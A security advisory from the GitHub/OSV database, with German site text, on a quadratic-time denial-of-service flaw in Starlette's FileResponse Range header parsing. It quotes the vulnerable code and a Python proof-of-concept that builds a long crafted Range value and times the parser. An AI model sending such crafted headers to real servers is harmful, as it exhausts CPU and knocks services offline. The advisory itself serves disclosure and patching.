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Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``

  • Veröffentlicht: 28.10.2025
  • Aktualisiert: 11.10.2026 15:17

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

python
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

python
#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) starlette >= 0.39.0, < 0.49.1 0.49.1

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400, CWE-407
Plattform
Python (PyPI)
Paket
starlette
Veröffentlicht
28.10.2025
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1942 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-7f5h-v6xp-fcq8 - CC BY 4.0

Schwachstellenhistorie: starlette

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (10) im Archiv
Einträge insgesamt
10
Erste → letzte
02.2023 06.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Hoch 5
  • Mittel 4
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2023: 2
  2. 2024: 1
  3. 2025: 2
  4. 2026: 5
Schweregrad:
  1. Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse`` dieser Eintrag
    Hoch · 7.5 CVE-2025-62727 >= 0.39.0, < 0.49.1 0.49.1
  2. Hoch · 0.0 CVE-2024-47874 < 0.40.0 0.40.0
  3. Hoch · 7.5 CVE-2023-30798 < 0.25.0 0.25.0

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